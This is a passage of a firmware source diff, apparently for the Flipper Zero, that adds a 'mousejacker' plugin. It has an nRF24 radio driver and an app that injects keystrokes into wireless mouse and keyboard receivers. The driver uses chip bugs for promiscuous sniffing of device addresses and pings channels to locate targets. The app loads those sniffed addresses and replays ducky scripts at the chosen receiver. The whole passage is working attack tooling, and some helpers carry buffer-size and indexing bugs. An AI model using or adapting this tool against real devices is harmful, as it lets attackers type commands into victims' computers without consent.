nrf24_write_reg(handle, REG_STATUS, TX_DS | MAX_RT);
return status & TX_DS;
}
uint8_t nrf24_power_up(FuriHalSpiBusHandle* handle) {
uint8_t status = 0;
uint8_t cfg = 0;
nrf24_read_reg(handle, REG_CONFIG, &cfg, 1);
cfg = cfg | 2;
status = nrf24_write_reg(handle, REG_CONFIG, cfg);
furi_delay_ms(5000);
return status;
}
uint8_t nrf24_set_idle(FuriHalSpiBusHandle* handle) {
uint8_t status = 0;
uint8_t cfg = 0;
nrf24_read_reg(handle, REG_CONFIG, &cfg, 1);
cfg &= 0xfc; // clear bottom two bits to power down the radio
status = nrf24_write_reg(handle, REG_CONFIG, cfg);
//nr204_write_reg(handle, REG_EN_RXADDR, 0x0);
furi_hal_gpio_write(nrf24_CE_PIN, false);
return status;
}
uint8_t nrf24_set_rx_mode(FuriHalSpiBusHandle* handle) {
uint8_t status = 0;
uint8_t cfg = 0;
//status = nrf24_write_reg(handle, REG_CONFIG, 0x0F); // enable 2-byte CRC, PWR_UP, and PRIM_RX
nrf24_read_reg(handle, REG_CONFIG, &cfg, 1);
cfg |= 0x03; // PWR_UP, and PRIM_RX
status = nrf24_write_reg(handle, REG_CONFIG, cfg);
//nr204_write_reg(REG_EN_RXADDR, 0x03) // Set RX Pipe 0 and 1
furi_hal_gpio_write(nrf24_CE_PIN, true);
furi_delay_ms(2000);
return status;
}
uint8_t nrf24_set_tx_mode(FuriHalSpiBusHandle* handle) {
uint8_t status = 0;
uint8_t cfg = 0;
furi_hal_gpio_write(nrf24_CE_PIN, false);
nrf24_write_reg(handle, REG_STATUS, 0x30);
//status = nrf24_write_reg(handle, REG_CONFIG, 0x0E); // enable 2-byte CRC, PWR_UP
nrf24_read_reg(handle, REG_CONFIG, &cfg, 1);
cfg &= 0xfe; // disable PRIM_RX
cfg |= 0x02; // PWR_UP
status = nrf24_write_reg(handle, REG_CONFIG, cfg);
furi_hal_gpio_write(nrf24_CE_PIN, true);
furi_delay_ms(2);
return status;
}
void nrf24_configure(
FuriHalSpiBusHandle* handle,
uint8_t rate,
uint8_t* srcmac,
uint8_t* dstmac,
uint8_t maclen,
uint8_t channel,
bool noack,
bool disable_aa) {
assert(channel <= 125);
assert(rate == 1 || rate == 2);
if(rate == 2)
rate = 8; // 2Mbps
else
rate = 0; // 1Mbps
nrf24_write_reg(handle, REG_CONFIG, 0x00); // Stop nRF
nrf24_set_idle(handle);
nrf24_write_reg(handle, REG_STATUS, 0x1c); // clear interrupts
if(disable_aa)
nrf24_write_reg(handle, REG_EN_AA, 0x00); // Disable Shockburst
else
nrf24_write_reg(handle, REG_EN_AA, 0x1F); // Enable Shockburst
nrf24_write_reg(handle, REG_DYNPD, 0x3F); // enable dynamic payload length on all pipes
if(noack)
nrf24_write_reg(handle, REG_FEATURE, 0x05); // disable payload-with-ack, enable noack
else {
nrf24_write_reg(handle, REG_CONFIG, 0x0C); // 2 byte CRC
nrf24_write_reg(handle, REG_FEATURE, 0x07); // enable dyn payload and ack
nrf24_write_reg(
handle, REG_SETUP_RETR, 0x1f); // 15 retries for AA, 500us auto retransmit delay
}
nrf24_set_idle(handle);
nrf24_flush_rx(handle);
nrf24_flush_tx(handle);
if(maclen) nrf24_set_maclen(handle, maclen);
if(srcmac) nrf24_set_src_mac(handle, srcmac, maclen);
if(dstmac) nrf24_set_dst_mac(handle, dstmac, maclen);
nrf24_write_reg(handle, REG_RF_CH, channel);
nrf24_write_reg(handle, REG_RF_SETUP, rate);
furi_delay_ms(200);
}
void nrf24_init_promisc_mode(FuriHalSpiBusHandle* handle, uint8_t channel, uint8_t rate) {
//uint8_t preamble[] = {0x55, 0x00}; // little endian
uint8_t preamble[] = {0xAA, 0x00}; // little endian
//uint8_t preamble[] = {0x00, 0x55}; // little endian
//uint8_t preamble[] = {0x00, 0xAA}; // little endian
nrf24_write_reg(handle, REG_CONFIG, 0x00); // Stop nRF
nrf24_write_reg(handle, REG_STATUS, 0x1c); // clear interrupts
nrf24_write_reg(handle, REG_DYNPD, 0x0); // disable shockburst
nrf24_write_reg(handle, REG_EN_AA, 0x00); // Disable Shockburst
nrf24_write_reg(handle, REG_FEATURE, 0x05); // disable payload-with-ack, enable noack
nrf24_set_maclen(handle, 2); // shortest address
nrf24_set_src_mac(handle, preamble, 2); // set src mac to preamble bits to catch everything
nrf24_set_packetlen(handle, 32); // set max packet length
nrf24_set_idle(handle);
nrf24_flush_rx(handle);
nrf24_flush_tx(handle);
nrf24_write_reg(handle, REG_RF_CH, channel);
nrf24_write_reg(handle, REG_RF_SETUP, rate);
// prime for RX, no checksum
nrf24_write_reg(handle, REG_CONFIG, 0x03); // PWR_UP and PRIM_RX, disable AA and CRC
furi_hal_gpio_write(nrf24_CE_PIN, true);
furi_delay_ms(100);
}
void hexlify(uint8_t* in, uint8_t size, char* out) {
memset(out, 0, size * 2);
for(int i = 0; i < size; i++)
snprintf(out + strlen(out), sizeof(out + strlen(out)), "%02X", in[i]);
}
uint64_t bytes_to_int64(uint8_t* bytes, uint8_t size, bool bigendian) {
uint64_t ret = 0;
for(int i = 0; i < size; i++)
if(bigendian)
ret |= bytes[i] << ((size - 1 - i) * 8);
else
ret |= bytes[i] << (i * 8);
return ret;
}
void int64_to_bytes(uint64_t val, uint8_t* out, bool bigendian) {
for(int i = 0; i < 8; i++) {
if(bigendian)
out[i] = (val >> ((7 - i) * 8)) & 0xff;
else
out[i] = (val >> (i * 8)) & 0xff;
}
}
uint32_t bytes_to_int32(uint8_t* bytes, bool bigendian) {
uint32_t ret = 0;
for(int i = 0; i < 4; i++)
if(bigendian)
ret |= bytes[i] << ((3 - i) * 8);
else
ret |= bytes[i] << (i * 8);
return ret;
}
void int32_to_bytes(uint32_t val, uint8_t* out, bool bigendian) {
for(int i = 0; i < 4; i++) {
if(bigendian)
out[i] = (val >> ((3 - i) * 8)) & 0xff;
else
out[i] = (val >> (i * 8)) & 0xff;
}
}
uint64_t bytes_to_int16(uint8_t* bytes, bool bigendian) {
uint16_t ret = 0;
for(int i = 0; i < 2; i++)
if(bigendian)
ret |= bytes[i] << ((1 - i) * 8);
else
ret |= bytes[i] << (i * 8);
return ret;
}
void int16_to_bytes(uint16_t val, uint8_t* out, bool bigendian) {
for(int i = 0; i < 2; i++) {
if(bigendian)
out[i] = (val >> ((1 - i) * 8)) & 0xff;
else
out[i] = (val >> (i * 8)) & 0xff;
}
}
// handle iffyness with preamble processing sometimes being a bit (literally) off
void alt_address_old(uint8_t* packet, uint8_t* altaddr) {
uint8_t macmess_hi_b[4];
uint8_t macmess_lo_b[2];
uint32_t macmess_hi;
uint16_t macmess_lo;
uint8_t preserved;
// get first 6 bytes into 32-bit and 16-bit variables
memcpy(macmess_hi_b, packet, 4);
memcpy(macmess_lo_b, packet + 4, 2);
macmess_hi = bytes_to_int32(macmess_hi_b, true);
//preserve least 7 bits from hi that will be shifted down to lo
preserved = macmess_hi & 0x7f;
macmess_hi >>= 7;
macmess_lo = bytes_to_int16(macmess_lo_b, true);
macmess_lo >>= 7;
macmess_lo = (preserved << 9) | macmess_lo;
int32_to_bytes(macmess_hi, macmess_hi_b, true);
int16_to_bytes(macmess_lo, macmess_lo_b, true);
memcpy(altaddr, &macmess_hi_b[1], 3);
memcpy(altaddr + 3, macmess_lo_b, 2);
}
bool validate_address(uint8_t* addr) {
uint8_t bad[][3] = {{0x55, 0x55}, {0xAA, 0xAA}, {0x00, 0x00}, {0xFF, 0xFF}};
for(int i = 0; i < 4; i++)
for(int j = 0; j < 2; j++)
if(!memcmp(addr + j * 2, bad[i], 2)) return false;
return true;
}
bool nrf24_sniff_address(FuriHalSpiBusHandle* handle, uint8_t maclen, uint8_t* address) {
bool found = false;
uint8_t packet[32] = {0};
uint8_t packetsize;
//char printit[65];
uint8_t status = 0;
status = nrf24_rxpacket(handle, packet, &packetsize, true);
if(status & 0x40) {
if(validate_address(packet)) {
for(int i = 0; i < maclen; i++) address[i] = packet[maclen - 1 - i];
/*
alt_address(packet, packet);
for(i = 0; i < maclen; i++)
address[i + 5] = packet[maclen - 1 - i];
*/
//memcpy(address, packet, maclen);
//hexlify(packet, packetsize, printit);
found = true;
}
}
return found;
}
uint8_t nrf24_find_channel(
FuriHalSpiBusHandle* handle,
uint8_t* srcmac,
uint8_t* dstmac,
uint8_t maclen,
uint8_t rate,
uint8_t min_channel,
uint8_t max_channel,
bool autoinit) {
uint8_t ping_packet[] = {0x0f, 0x0f, 0x0f, 0x0f}; // this can be anything, we just need an ack
uint8_t ch = max_channel + 1; // means fail
nrf24_configure(handle, rate, srcmac, dstmac, maclen, 2, false, false);
for(ch = min_channel; ch <= max_channel + 1; ch++) {
nrf24_write_reg(handle, REG_RF_CH, ch);
if(nrf24_txpacket(handle, ping_packet, 4, true)) break;
}
if(autoinit) {
FURI_LOG_D("nrf24", "initializing radio for channel %d", ch);
nrf24_configure(handle, rate, srcmac, dstmac, maclen, ch, false, false);
return ch;
}
return ch;
}
applications/plugins/mousejacker/lib/nrf24/nrf24.h
+366
View File
@@ -0,0 +1,366 @@
#pragma once
#include <stdbool.h>
#include <stdint.h>
#include <furi_hal_spi.h>
#ifdef __cplusplus
extern "C" {
#endif
#define R_REGISTER 0x00
#define W_REGISTER 0x20
#define REGISTER_MASK 0x1F
#define ACTIVATE 0x50
#define R_RX_PL_WID 0x60
#define R_RX_PAYLOAD 0x61
#define W_TX_PAYLOAD 0xA0
#define W_TX_PAYLOAD_NOACK 0xB0
#define W_ACK_PAYLOAD 0xA8
#define FLUSH_TX 0xE1
#define FLUSH_RX 0xE2
#define REUSE_TX_PL 0xE3
#define RF24_NOP 0xFF
#define REG_CONFIG 0x00
#define REG_EN_AA 0x01
#define REG_EN_RXADDR 0x02
#define REG_SETUP_AW 0x03
#define REG_SETUP_RETR 0x04
#define REG_DYNPD 0x1C
#define REG_FEATURE 0x1D
#define REG_RF_SETUP 0x06
#define REG_STATUS 0x07
#define REG_RX_ADDR_P0 0x0A
#define REG_RF_CH 0x05
#define REG_TX_ADDR 0x10
#define RX_PW_P0 0x11
#define TX_DS 0x20
#define MAX_RT 0x10
#define nrf24_TIMEOUT 500
#define nrf24_CE_PIN &gpio_ext_pb2
#define nrf24_HANDLE &furi_hal_spi_bus_handle_external
/* Low level API */
/** Write device register
*
* @param handle - pointer to FuriHalSpiHandle
* @param reg - register
* @param data - data to write
*
* @return device status
*/
uint8_t nrf24_write_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t data);
/** Write buffer to device register
*
* @param handle - pointer to FuriHalSpiHandle
* @param reg - register
* @param data - data to write
* @param size - size of data to write
*
* @return device status
*/
uint8_t nrf24_write_buf_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size);
/** Read device register
*
* @param handle - pointer to FuriHalSpiHandle
* @param reg - register
* @param[out] data - pointer to data
*
* @return device status
*/
uint8_t nrf24_read_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size);
/** Power up the radio for operation
*
* @param handle - pointer to FuriHalSpiHandle
*
* @return device status
*/
uint8_t nrf24_power_up(FuriHalSpiBusHandle* handle);
/** Power down the radio
*
* @param handle - pointer to FuriHalSpiHandle
*
* @return device status
*/
uint8_t nrf24_set_idle(FuriHalSpiBusHandle* handle);
/** Sets the radio to RX mode
*
* @param handle - pointer to FuriHalSpiHandle
*
* @return device status
*/
uint8_t nrf24_set_rx_mode(FuriHalSpiBusHandle* handle);
/** Sets the radio to TX mode
*
* @param handle - pointer to FuriHalSpiHandle
*
* @return device status
*/
uint8_t nrf24_set_tx_mode(FuriHalSpiBusHandle* handle);
/*=============================================================================================================*/
/* High level API */
/** Must call this before using any other nrf24 API
*
*/
void nrf24_init();
/** Must call this when we end using nrf24 device
*
*/
void nrf24_deinit();
/** Send flush rx command
*
* @param handle - pointer to FuriHalSpiHandle
*
* @return device status
*/
uint8_t nrf24_flush_rx(FuriHalSpiBusHandle* handle);
/** Send flush tx command
*
* @param handle - pointer to FuriHalSpiHandle
*
* @return device status
*/
uint8_t nrf24_flush_tx(FuriHalSpiBusHandle* handle);
/** Gets the RX packet length in data pipe 0
*
* @param handle - pointer to FuriHalSpiHandle
*
* @return packet length in data pipe 0
*/
uint8_t nrf24_get_packetlen(FuriHalSpiBusHandle* handle);
/** Sets the RX packet length in data pipe 0
*
* @param handle - pointer to FuriHalSpiHandle
* @param len - length to set
*
* @return device status
*/
uint8_t nrf24_set_packetlen(FuriHalSpiBusHandle* handle, uint8_t len);
/** Gets configured length of MAC address
*
* @param handle - pointer to FuriHalSpiHandle
*
* @return MAC address length
*/
uint8_t nrf24_get_maclen(FuriHalSpiBusHandle* handle);
/** Sets configured length of MAC address
*
* @param handle - pointer to FuriHalSpiHandle
* @param maclen - length to set MAC address to, must be greater than 1 and less than 6
*
* @return MAC address length
*/
uint8_t nrf24_set_maclen(FuriHalSpiBusHandle* handle, uint8_t maclen);
/** Gets the current status flags from the STATUS register
*
* @param handle - pointer to FuriHalSpiHandle
*
* @return status flags
*/
uint8_t nrf24_status(FuriHalSpiBusHandle* handle);
/** Gets the current transfer rate
*
* @param handle - pointer to FuriHalSpiHandle
*
* @return transfer rate in bps
*/
uint32_t nrf24_get_rate(FuriHalSpiBusHandle* handle);
/** Sets the transfer rate
*
* @param handle - pointer to FuriHalSpiHandle
* @param rate - the transfer rate in bps
*
* @return device status
*/
uint8_t nrf24_set_rate(FuriHalSpiBusHandle* handle, uint32_t rate);
/** Gets the current channel
* In nrf24, the channel number is multiplied times 1MHz and added to 2400MHz to get the frequency
*
* @param handle - pointer to FuriHalSpiHandle
*
* @return channel
*/
uint8_t nrf24_get_chan(FuriHalSpiBusHandle* handle);
/** Sets the channel
*
* @param handle - pointer to FuriHalSpiHandle
* @param frequency - the frequency in hertz
*
* @return device status
*/
uint8_t nrf24_set_chan(FuriHalSpiBusHandle* handle, uint8_t chan);
/** Gets the source mac address
*
* @param handle - pointer to FuriHalSpiHandle
* @param[out] mac - the source mac address
*
* @return device status
*/
uint8_t nrf24_get_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac);
/** Sets the source mac address
*
* @param handle - pointer to FuriHalSpiHandle
* @param mac - the mac address to set
* @param size - the size of the mac address (2 to 5)
*
* @return device status
*/
uint8_t nrf24_set_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size);
/** Gets the dest mac address
*
* @param handle - pointer to FuriHalSpiHandle
* @param[out] mac - the source mac address
*
* @return device status
*/
uint8_t nrf24_get_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac);
/** Sets the dest mac address
*
* @param handle - pointer to FuriHalSpiHandle
* @param mac - the mac address to set
* @param size - the size of the mac address (2 to 5)
*
* @return device status
*/
uint8_t nrf24_set_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size);
/** Reads RX packet
*
* @param handle - pointer to FuriHalSpiHandle
* @param[out] packet - the packet contents
* @param[out] packetsize - size of the received packet
* @param full - boolean set to true, packet length is determined by RX_PW_P0 register, false it is determined by dynamic payload length command
*
* @return device status
*/
uint8_t
nrf24_rxpacket(FuriHalSpiBusHandle* handle, uint8_t* packet, uint8_t* packetsize, bool full);
/** Sends TX packet
*
* @param handle - pointer to FuriHalSpiHandle
* @param packet - the packet contents
* @param size - packet size
* @param ack - boolean to determine whether an ACK is required for the packet or not
*
* @return device status
*/
uint8_t nrf24_txpacket(FuriHalSpiBusHandle* handle, uint8_t* payload, uint8_t size, bool ack);
/** Configure the radio
* This is not comprehensive, but covers a lot of the common configuration options that may be changed
* @param handle - pointer to FuriHalSpiHandle
* @param rate - transfer rate in Mbps (1 or 2)
* @param srcmac - source mac address
* @param dstmac - destination mac address
* @param maclen - length of mac address
* @param channel - channel to tune to
* @param noack - if true, disable auto-acknowledge
* @param disable_aa - if true, disable ShockBurst
*
*/
void nrf24_configure(
FuriHalSpiBusHandle* handle,
uint8_t rate,
uint8_t* srcmac,
uint8_t* dstmac,
uint8_t maclen,
uint8_t channel,
bool noack,
bool disable_aa);
/** Configures the radio for "promiscuous mode" and primes it for rx
* This is not an actual mode of the nrf24, but this function exploits a few bugs in the chip that allows it to act as if it were.
* See http://travisgoodspeed.blogspot.com/2011/02/promiscuity-is-nrf24l01s-duty.html for details.
* @param handle - pointer to FuriHalSpiHandle
* @param channel - channel to tune to
* @param rate - transfer rate in Mbps (1 or 2)
*/
void nrf24_init_promisc_mode(FuriHalSpiBusHandle* handle, uint8_t channel, uint8_t rate);
/** Listens for a packet and returns first possible address sniffed
* Call this only after calling nrf24_init_promisc_mode
* @param handle - pointer to FuriHalSpiHandle
* @param maclen - length of target mac address
* @param[out] addresses - sniffed address
*
* @return success
*/
bool nrf24_sniff_address(FuriHalSpiBusHandle* handle, uint8_t maclen, uint8_t* address);
/** Sends ping packet on each channel for designated tx mac looking for ack
*
* @param handle - pointer to FuriHalSpiHandle
* @param srcmac - source address
* @param dstmac - destination address
* @param maclen - length of address
* @param rate - transfer rate in Mbps (1 or 2)
* @param min_channel - channel to start with
* @param max_channel - channel to end at
* @param autoinit - if true, automatically configure radio for this channel
*
* @return channel that the address is listening on, if this value is above the max_channel param, it failed
*/
uint8_t nrf24_find_channel(
FuriHalSpiBusHandle* handle,
uint8_t* srcmac,
uint8_t* dstmac,
uint8_t maclen,
uint8_t rate,
uint8_t min_channel,
uint8_t max_channel,
bool autoinit);
/** Converts 64 bit value into uint8_t array
* @param val - 64-bit integer
* @param[out] out - bytes out
* @param bigendian - if true, convert as big endian, otherwise little endian
*/
void int64_to_bytes(uint64_t val, uint8_t* out, bool bigendian);
/** Converts 32 bit value into uint8_t array
* @param val - 32-bit integer
* @param[out] out - bytes out
* @param bigendian - if true, convert as big endian, otherwise little endian
*/
void int32_to_bytes(uint32_t val, uint8_t* out, bool bigendian);
/** Converts uint8_t array into 32 bit value
* @param bytes - uint8_t array
* @param bigendian - if true, convert as big endian, otherwise little endian
*
* @return 32-bit value
*/
uint32_t bytes_to_int32(uint8_t* bytes, bool bigendian);
#ifdef __cplusplus
}
#endif
applications/plugins/mousejacker/mouse_10px.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.6 KiB

applications/plugins/mousejacker/mousejacker.c
+399
View File
@@ -0,0 +1,399 @@
#include <furi.h>
#include <gui/gui.h>
#include <dialogs/dialogs.h>
#include <input/input.h>
#include <stdlib.h>
#include <furi_hal.h>
#include <furi_hal_gpio.h>
#include <furi_hal_spi.h>
#include <furi_hal_interrupt.h>
#include <furi_hal_resources.h>
#include <nrf24.h>
#include "mousejacker_ducky.h"
#include <dolphin/dolphin.h>
#include "NRF24_Mouse_Jacker_icons.h"
#define TAG "mousejacker"
#define LOGITECH_MAX_CHANNEL 85
#define NRFSNIFF_APP_PATH_FOLDER "/ext/nrfsniff"
#define NRFSNIFF_APP_PATH_EXTENSION ".txt"
#define NRFSNIFF_APP_FILENAME "addresses.txt"
#define MOUSEJACKER_APP_PATH_FOLDER "/ext/mousejacker"
#define MOUSEJACKER_APP_PATH_EXTENSION ".txt"
#define MAX_ADDRS 100
typedef enum {
EventTypeTick,
EventTypeKey,
} EventType;
typedef struct {
EventType type;
InputEvent input;
} PluginEvent;
uint8_t addrs_count = 0;
uint8_t addr_idx = 0;
uint8_t loaded_addrs[MAX_ADDRS][6]; // first byte is rate, the rest are the address
char target_fmt_text[] = "Target addr: %s";
char target_address_str[12] = "None";
char target_text[30];
static void render_callback(Canvas* const canvas, void* ctx) {
const PluginState* plugin_state = acquire_mutex((ValueMutex*)ctx, 25);
if(plugin_state == NULL) {
return;
}
// border around the edge of the screen
canvas_draw_frame(canvas, 0, 0, 128, 64);
canvas_set_font(canvas, FontSecondary);
if(!plugin_state->addr_err && !plugin_state->ducky_err && !plugin_state->is_thread_running &&
!plugin_state->is_ducky_running) {
snprintf(target_text, sizeof(target_text), target_fmt_text, target_address_str);
canvas_draw_str_aligned(canvas, 7, 10, AlignLeft, AlignBottom, target_text);
canvas_draw_str_aligned(canvas, 22, 20, AlignLeft, AlignBottom, "<- select address ->");
canvas_draw_str_aligned(canvas, 10, 30, AlignLeft, AlignBottom, "Press Ok button to ");
canvas_draw_str_aligned(canvas, 10, 40, AlignLeft, AlignBottom, "browse for ducky script");
} else if(plugin_state->addr_err) {
canvas_draw_str_aligned(
canvas, 10, 10, AlignLeft, AlignBottom, "Error: No nrfsniff folder");
canvas_draw_str_aligned(canvas, 10, 20, AlignLeft, AlignBottom, "or addresses.txt file");
canvas_draw_str_aligned(
canvas, 10, 30, AlignLeft, AlignBottom, "loading error / empty file");
canvas_draw_str_aligned(
canvas, 7, 40, AlignLeft, AlignBottom, "Run (NRF24: Sniff) app first!");
} else if(plugin_state->ducky_err) {
canvas_draw_str_aligned(
canvas, 3, 10, AlignLeft, AlignBottom, "Error: No mousejacker folder");
canvas_draw_str_aligned(canvas, 3, 20, AlignLeft, AlignBottom, "or duckyscript file");
canvas_draw_str_aligned(canvas, 3, 30, AlignLeft, AlignBottom, "loading error");
} else if(plugin_state->is_thread_running && !plugin_state->is_ducky_running) {
canvas_draw_str_aligned(canvas, 3, 10, AlignLeft, AlignBottom, "Loading...");
canvas_draw_str_aligned(canvas, 3, 20, AlignLeft, AlignBottom, "Please wait!");
} else if(plugin_state->is_thread_running && plugin_state->is_ducky_running) {
canvas_draw_str_aligned(canvas, 3, 10, AlignLeft, AlignBottom, "Running duckyscript");
canvas_draw_str_aligned(canvas, 3, 20, AlignLeft, AlignBottom, "Please wait!");
canvas_draw_str_aligned(
canvas, 3, 30, AlignLeft, AlignBottom, "Press back to exit (if it stuck)");
} else {
canvas_draw_str_aligned(canvas, 3, 10, AlignLeft, AlignBottom, "Unknown Error");
canvas_draw_str_aligned(canvas, 3, 20, AlignLeft, AlignBottom, "press back");
canvas_draw_str_aligned(canvas, 3, 30, AlignLeft, AlignBottom, "to exit");
}
release_mutex((ValueMutex*)ctx, plugin_state);
}
static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
furi_assert(event_queue);
PluginEvent event = {.type = EventTypeKey, .input = *input_event};
furi_message_queue_put(event_queue, &event, FuriWaitForever);
}
static void mousejacker_state_init(PluginState* const plugin_state) {
plugin_state->is_thread_running = false;
}
static void hexlify(uint8_t* in, uint8_t size, char* out) {
memset(out, 0, size * 2);
for(int i = 0; i < size; i++)
snprintf(out + strlen(out), sizeof(out + strlen(out)), "%02X", in[i]);
}
static bool open_ducky_script(Stream* stream, PluginState* plugin_state) {
DialogsApp* dialogs = furi_record_open("dialogs");
bool result = false;
FuriString* path;
path = furi_string_alloc();
furi_string_set(path, MOUSEJACKER_APP_PATH_FOLDER);
DialogsFileBrowserOptions browser_options;
dialog_file_browser_set_basic_options(
&browser_options, MOUSEJACKER_APP_PATH_EXTENSION, &I_badusb_10px);
browser_options.hide_ext = false;
bool ret = dialog_file_browser_show(dialogs, path, path, &browser_options);
furi_record_close("dialogs");
if(ret) {
if(!file_stream_open(stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
FURI_LOG_D(TAG, "Cannot open file \"%s\"", furi_string_get_cstr(path));
} else {
result = true;
}
}
furi_string_free(path);
plugin_state->is_ducky_running = true;
return result;
}
static bool open_addrs_file(Stream* stream) {
DialogsApp* dialogs = furi_record_open("dialogs");
bool result = false;
FuriString* path;
path = furi_string_alloc();
furi_string_set(path, NRFSNIFF_APP_PATH_FOLDER);
DialogsFileBrowserOptions browser_options;
dialog_file_browser_set_basic_options(
&browser_options, NRFSNIFF_APP_PATH_EXTENSION, &I_sub1_10px);
browser_options.hide_ext = false;
bool ret = dialog_file_browser_show(dialogs, path, path, &browser_options);
furi_record_close("dialogs");
if(ret) {
if(!file_stream_open(stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
FURI_LOG_D(TAG, "Cannot open file \"%s\"", furi_string_get_cstr(path));
} else {
result = true;
}
}
furi_string_free(path);
return result;
}
static bool process_ducky_file(
Stream* file_stream,
uint8_t* addr,
uint8_t addr_size,
uint8_t rate,
PluginState* plugin_state) {
size_t file_size = 0;
size_t bytes_read = 0;
uint8_t* file_buf;
bool loaded = false;
FURI_LOG_D(TAG, "opening ducky script");
if(open_ducky_script(file_stream, plugin_state)) {
file_size = stream_size(file_stream);
if(file_size == (size_t)0) {
FURI_LOG_D(TAG, "load failed. file_size: %d", file_size);
plugin_state->is_ducky_running = false;
return loaded;
}
file_buf = malloc(file_size);
memset(file_buf, 0, file_size);
bytes_read = stream_read(file_stream, file_buf, file_size);
if(bytes_read == file_size) {
FURI_LOG_D(TAG, "executing ducky script");
mj_process_ducky_script(
nrf24_HANDLE, addr, addr_size, rate, (char*)file_buf, plugin_state);
FURI_LOG_D(TAG, "finished execution");
DOLPHIN_DEED(getRandomDeed());
loaded = true;
} else {
FURI_LOG_D(TAG, "load failed. file size: %d", file_size);
}
free(file_buf);
}
plugin_state->is_ducky_running = false;
return loaded;
}
static bool load_addrs_file(Stream* file_stream) {
size_t file_size = 0;
size_t bytes_read = 0;
uint8_t* file_buf;
char* line_ptr;
uint8_t rate;
uint8_t addrlen = 0;
uint32_t counter = 0;
uint8_t addr[5] = {0};
uint32_t i_addr_lo = 0;
uint32_t i_addr_hi = 0;
bool loaded = false;
FURI_LOG_D(TAG, "opening addrs file");
addrs_count = 0;
if(open_addrs_file(file_stream)) {
file_size = stream_size(file_stream);
if(file_size == (size_t)0) {
FURI_LOG_D(TAG, "load failed. file_size: %d", file_size);
return loaded;
}
file_buf = malloc(file_size);
memset(file_buf, 0, file_size);
bytes_read = stream_read(file_stream, file_buf, file_size);
if(bytes_read == file_size) {
FURI_LOG_D(TAG, "loading addrs file");
char* line = strtok((char*)file_buf, "\n");
while(line != NULL) {
line_ptr = strstr((char*)line, ",");
*line_ptr = 0;
rate = atoi(line_ptr + 1);
addrlen = (uint8_t)(strlen(line) / 2);
i_addr_lo = strtoul(line + 2, NULL, 16);
line[2] = (char)0;
i_addr_hi = strtoul(line, NULL, 16);
int32_to_bytes(i_addr_lo, &addr[1], true);
addr[0] = (uint8_t)(i_addr_hi & 0xFF);
memset(loaded_addrs[counter], rate, 1);
memcpy(&loaded_addrs[counter++][1], addr, addrlen);
addrs_count++;
line = strtok(NULL, "\n");
loaded = true;
}
} else {
FURI_LOG_D(TAG, "load failed. file size: %d", file_size);
}
free(file_buf);
}
return loaded;
}
// entrypoint for worker
static int32_t mj_worker_thread(void* ctx) {
PluginState* plugin_state = ctx;
bool ducky_ok = false;
if(!plugin_state->addr_err) {
plugin_state->is_thread_running = true;
plugin_state->file_stream = file_stream_alloc(plugin_state->storage);
nrf24_find_channel(
nrf24_HANDLE,
loaded_addrs[addr_idx] + 1,
loaded_addrs[addr_idx] + 1,
5,
loaded_addrs[addr_idx][0],
2,
LOGITECH_MAX_CHANNEL,
true);
ducky_ok = process_ducky_file(
plugin_state->file_stream,
loaded_addrs[addr_idx] + 1,
5,
loaded_addrs[addr_idx][0],
plugin_state);
if(!ducky_ok) {
plugin_state->ducky_err = true;
} else {
plugin_state->ducky_err = false;
}
stream_free(plugin_state->file_stream);
}
plugin_state->is_thread_running = false;
return 0;
}
void start_mjthread(PluginState* plugin_state) {
if(!plugin_state->is_thread_running) {
furi_thread_start(plugin_state->mjthread);
}
}
int32_t mousejacker_app(void* p) {
UNUSED(p);
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent));
PluginState* plugin_state = malloc(sizeof(PluginState));
mousejacker_state_init(plugin_state);
ValueMutex state_mutex;
if(!init_mutex(&state_mutex, plugin_state, sizeof(PluginState))) {
FURI_LOG_E("mousejacker", "cannot create mutex\r\n");
furi_message_queue_free(event_queue);
free(plugin_state);
return 255;
}
// Set system callbacks
ViewPort* view_port = view_port_alloc();
view_port_draw_callback_set(view_port, render_callback, &state_mutex);
view_port_input_callback_set(view_port, input_callback, event_queue);
// Open GUI and register view_port
Gui* gui = furi_record_open(RECORD_GUI);
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
plugin_state->storage = furi_record_open(RECORD_STORAGE);
storage_common_mkdir(plugin_state->storage, MOUSEJACKER_APP_PATH_FOLDER);
plugin_state->file_stream = file_stream_alloc(plugin_state->storage);
plugin_state->mjthread = furi_thread_alloc();
furi_thread_set_name(plugin_state->mjthread, "MJ Worker");
furi_thread_set_stack_size(plugin_state->mjthread, 2048);
furi_thread_set_context(plugin_state->mjthread, plugin_state);
furi_thread_set_callback(plugin_state->mjthread, mj_worker_thread);
// spawn load file dialog to choose sniffed addresses file
if(load_addrs_file(plugin_state->file_stream)) {
addr_idx = 0;
hexlify(&loaded_addrs[addr_idx][1], 5, target_address_str);
plugin_state->addr_err = false;
} else {
plugin_state->addr_err = true;
}
stream_free(plugin_state->file_stream);
nrf24_init();
PluginEvent event;
for(bool processing = true; processing;) {
FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
PluginState* plugin_state = (PluginState*)acquire_mutex_block(&state_mutex);
if(event_status == FuriStatusOk) {
// press events
if(event.type == EventTypeKey) {
if(event.input.type == InputTypePress) {
switch(event.input.key) {
case InputKeyUp:
break;
case InputKeyDown:
break;
case InputKeyRight:
if(!plugin_state->addr_err) {
addr_idx++;
if(addr_idx > addrs_count) addr_idx = 0;
hexlify(loaded_addrs[addr_idx] + 1, 5, target_address_str);
}
break;
case InputKeyLeft:
if(!plugin_state->addr_err) {
addr_idx--;
if(addr_idx == 0) addr_idx = addrs_count - 1;
hexlify(loaded_addrs[addr_idx] + 1, 5, target_address_str);
}
break;
case InputKeyOk:
if(!plugin_state->addr_err) {
if(!plugin_state->is_thread_running) {
start_mjthread(plugin_state);
view_port_update(view_port);
}
}
break;
